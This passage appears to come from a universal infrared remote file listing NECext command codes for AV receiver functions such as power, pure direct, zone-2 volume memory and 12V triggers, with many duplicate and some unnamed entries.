00 00 00 -command: 7A 00 00 00 -# -name: MZ:_VOL_REC_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: FAN:_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: VOLUME_BANK_RECALL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: MZ:_VOL_REC_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: FAN:_STOP -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7B 00 00 00 -# -name: MZ:_INP_MODE_ILINK -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7B 00 00 00 -# -name: EX/ES_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: 6.1/ES_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: DSP:_EX/ES_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: DSP:_EX_ES_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: DSP:_EX_SURR._AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: EXTD_SUR_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: DSP:_EX/6.1/ES_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: EXT_SUR:_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: DSP_EX_SUR_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: EXTED._SURR._AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: DSP:_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: EX/ES_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: EXTED_SUR._AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: DECOD:_EX_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: FAN:_LOW -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: EXTED_SUR_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: EXTED_SUR_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7C 00 00 00 -# -name: 6.1/ES_DISCRETE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7D 00 00 00 -# -name: DSP:_EX/ES_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7D 00 00 00 -# -name: DSP:_EX_ES_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7D 00 00 00 -# -name: DSP:_EX/6.1/ES_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7D 00 00 00 -# -name: FAN:_MID -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7E 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7E 00 00 00 -# -name: MAIN_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7E 00 00 00 -# -name: MZ:_MAIN_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7E 00 00 00 -# -name: MZ_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7E 00 00 00 -# -name: MAIN_ZONE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7E 00 00 00 -# -name: MZ:_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7E 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7E 00 00 00 -# -name: POWER_ON_(MAIN) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7E 00 00 00 -# -name: MAIN:_MAIN_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7E 00 00 00 -# -name: MAIN_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7E 00 00 00 -# -name: FAN:_HIGH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7E 00 00 00 -# -name: MZ:_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7E 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7F 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7F 00 00 00 -# -name: MAIN_POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7F 00 00 00 -# -name: MZ:_MAIN_POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7F 00 00 00 -# -name: MZ_POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7F 00 00 00 -# -name: MAIN_ZONE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7F 00 00 00 -# -name: MZ:_POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7F 00 00 00 -# -name: POWER_OFF/STNDBY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7F 00 00 00 -# -name: POWER_OFF_(MAIN) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7F 00 00 00 -# -name: MAIN:_MAIN_POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7F 00 00 00 -# -name: MAIN_POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7F 00 00 00 -# -name: MZ:_STANDBY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7F 00 00 00 -# -name: MZ:_STANDBY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7F 00 00 00 -# -name: PURE_DIRECT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 80 00 00 00 -# -name: DSP:_PURE_DIRECT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 80 00 00 00 -# -name: DSP_PURE_DIRECT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 80 00 00 00 -# -name: PURE_DIRECT:_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 80 00 00 00 -# -name: DSP:_DIRECT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 80 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 80 00 00 00 -# -name: DSP:_PURE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 80 00 00 00 -# -name: PURE_DIRECT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 80 00 00 00 -# -name: DSP:_PURE_DIR._ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 80 00 00 00 -# -name: Z2_VOL_BANK_MAIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 80 00 00 00 -# -name: DSP:_PURE_DIR_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 80 00 00 00 -# -name: DSP:_PURE_DIR_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 80 00 00 00 -# -name: Z2_VOL_BANK_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 81 00 00 00 -# -name: PURE_DIRECT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 82 00 00 00 -# -name: DSP:_PURE_DIRECT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 82 00 00 00 -# -name: DSP_PURE_DIRECT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 82 00 00 00 -# -name: PURE_DIRECT:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 82 00 00 00 -# -name: HDMI_OUT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 82 00 00 00 -# -name: DSP:_DIRECT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 82 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 82 00 00 00 -# -name: DSP:_PURE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 82 00 00 00 -# -name: PURE_DIRECT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 82 00 00 00 -# -name: DSP:_PURE_DIR._OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 82 00 00 00 -# -name: Z2_VOL_BANK_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 82 00 00 00 -# -name: DSP:_PURE_DIR_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 82 00 00 00 -# -name: DSP:_PURE_DIR_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 82 00 00 00 -# -name: HDMI_OUT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 82 00 00 00 -# -name: 12V:_DC1_Z3_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 83 00 00 00 -# -name: DC1_TRIG_Z3_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 83 00 00 00 -# -name: DC1_TRG_ZONE_3_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 83 00 00 00 -# -name: HDMI_AUTO_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 83 00 00 00 -# -name: DC1_TRIGGER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 83 00 00 00 -# -name: HDMI_LIPSYNC_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 83 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 83 00 00 00 -# -name: Z2_VOL_BANK_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 83 00 00 00 -# -name: HDMI_AUTO_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 83 00 00 00 -# -name: TRIGGER_1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 83 00 00 00 -# -name: TRIGGER_1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 83 00 00 00 -# -name: 12V:_DC1_Z3_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 84 00 00 00 -# -name: DC1_TRIG_Z3_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 84 00 00 00 -# -name: DC1_TRG_ZONE_3_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 84 00 00 00 -# -name: HDMI_AUTO_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 84 00 00 00 -# -name: DC1_TRIGGER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 84 00 00 00 -# -name: HDMI_LIPSYNC_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 84 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 84 00 00 00 -# -name: Z2_VOL_BANK_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 84 00 00 00 -# -name: HDMI_AUTO_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 84 00 00 00 -# -name: TRIGGER_1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 84 00 00 00 -# -name: TRIGGER_1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 84 00 00 00 -# -name: 12V:_DC2_Z3_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 85 00 00 00 -# -name: DC2_TRIG_Z3_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 85 00 00 00 -# -name: DC2_TRG_ZONE_3_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 85 00 00 00 -# -name: MENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 85 00 00 00 -# -name: DC2_TRIGGER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 85 00 00 00 -# -name: Z2_VOL_BANK_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 85 00 00 00 -# -name: MENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 85 00 00 00 -# -name: TRIGGER_2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 85 00 00 00 -# -name: TRIGGER_2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 85 00 00 00 -# -name: 12V:_DC2_Z3_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 86 00 00 00 -# -name: DC2_TRIG_Z3_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 86 00 00 00 -# -name: DC2_TRG_ZONE_3_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 86 00 00 00 -# -name: DC2_TRIGGER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 86 00 00 00 -# -name: MENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 86 00 00 00 -# -name: Z2_VOL_BANK_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 86 00 00 00 -# -name: TRIGGER_2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 86 00 00 00 -# -name: TRIGGER_2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 86 00 00 00 -# -name: MENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 86 00 00 00 -# -name: Z2_VOL_MEM_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: Z2:_VOLP_MEM_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: Z2:_VOL_MEM_SAVE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: Z2_VOL_MEM_SAVE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: Z2_PRESET_MEMORY_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: Z2:_VL_P_MEM_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: Z2_VOL_MEM:_SAVE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: VOL_MEMORY_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: Z2:_VOL._MEMORY_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: Z2_VOL_MEM_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: Z2:_VOL_MEM_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: Z2_VOL_BANK_MEMORY_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: Z2:_VOL_MEMORY_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: Z2:_VOL_MEMORY_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: MENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: MENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 87 00 00 00 -# -name: Z2_VOL_MEM_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: Z2:_VOLP_MEM_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: Z2:_VOL_MEM_SAVE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: Z2_VOL_MEM_SAVE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: Z2_PRESET_MEMORY_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: Z2:_VL_P_MEM_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: Z2_VOL_MEM:_SAVE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: VOL_MEMORY_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: MENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: Z2:_VOL._MEMORY_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: Z2_VOL_MEM_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: Z2:_VOL_MEM_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: Z2_VOL_BANK_MEMORY_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: Z2:_VOL_MEMORY_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: Z2:_VOL_MEMORY_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: MENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 88 00 00 00 -# -name: Z2_VOL_MEM_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: Z2:_VOLP_MEM_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: Z2:_VOL_MEM_SAVE_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: Z2_VOL_MEM_SAVE_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: Z2_PRESET_MEMORY_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: Z2:_VL_P_MEM_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: Z2_VOL_MEM:_SAVE_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: VOL_MEMORY_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: MENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: Z2:_VOL._MEMORY_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: Z2_VOL_MEM_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: Z2:_VOL_MEM_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: Z2_VOL_BANK_MEMORY_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: Z2:_VOL_MEMORY_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: Z2:_VOL_MEMORY_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: MENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 89 00 00 00 -# -name: Z2_VOL_MEM_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: Z2:_VOLP_MEM_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: Z2:_VOL_MEM_SAVE_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: Z2_VOL_MEM_SAVE_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: Z2_PRESET_MEMORY_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: Z2:_VL_P_MEM_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: Z2_VOL_MEM:_SAVE_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: VOL_MEMORY_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: Z2:_VOL._MEMORY_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: Z2_VOL_MEM_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: Z2:_VOL_MEM_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: Z2_VOL_BANK_MEMORY_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: Z2:_VOL_MEMORY_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: Z2:_VOL_MEMORY_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: MENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: MENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8A 00 00 00 -# -name: Z2_VOL_MEM_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: Z2:_VOLP_MEM_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: Z2:_VOL_MEM_SAVE_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: Z2_VOL_MEM_SAVE_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: Z2_PRESET_MEMORY_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: Z2:_VL_P_MEM_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: Z2_VOL_MEM:_SAVE_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: DISP_STATUS_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: Z2:_VOL._MEMORY_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: DC1_TRIG_Z2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: Z2:_VOL_MEM_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: Z2_VOL_BANK_MEMORY_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: Z2:_VOL_MEMORY_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: Z2:_VOL_MEMORY_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8B 00 00 00 -# -name: Z2_VOL_MEM_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: Z2:_VOLP_MEM_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: Z2:_VOL_MEM_SAVE_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: Z2_VOL_MEM_SAVE_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: Z2_PRESET_MEMORY_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: Z2:_VL_P_MEM_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: Z2_VOL_MEM:_SAVE_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: VOL_RECALL_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: DISP_STATUS_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: Z2:_VOL._MEMORY_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: Z2_VOL_MEM_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: Z2:_VOL_MEM_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: Z2_VOL_BANK_MEMORY_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: Z2:_VOL_MEMORY_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: STATUS_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: Z2:_VOL_MEMORY_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: STATUS_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8C 00 00 00 -# -name: Z2_VOL_RECALL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: Z2:_VOLP_RECL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: Z2:_VOL_MEM_LOAD_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: Z2_VOL_MEM_LOAD_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: Z2_PRESET_RECALL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: Z2:_VL_P_RECL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: Z2_VOL_MEM:_LOAD_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: DISP_STATUS_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: Z2:_VOL._RECALL_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: Z2_VOL_RECALL_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: Z2:_VOL_REC_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: Z2_VOL_BANK_RECALL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: Z2:_VOL_RECALL_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: Z2:_VOL_RECALL_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: STATUS_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: STATUS_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: Z2_VOL_RECALL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: Z2:_VOLP_RECL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: Z2:_VOL_MEM_LOAD_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: Z2_VOL_MEM_LOAD_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: Z2_PRESET_RECALL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: Z2:_VL_P_RECL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: Z2_VOL_MEM:_LOAD_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: VOL_RECALL_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: Z2:_VOL._RECALL_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: Z2_VOL_RECALL_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: Z2:_VOL_REC_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: Z2_VOL_BANK_RECALL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: Z2:_VOL_RECALL_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: Z2:_VOL_RECALL_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: STATUS_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: STATUS_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8E 00 00 00 -# -name: 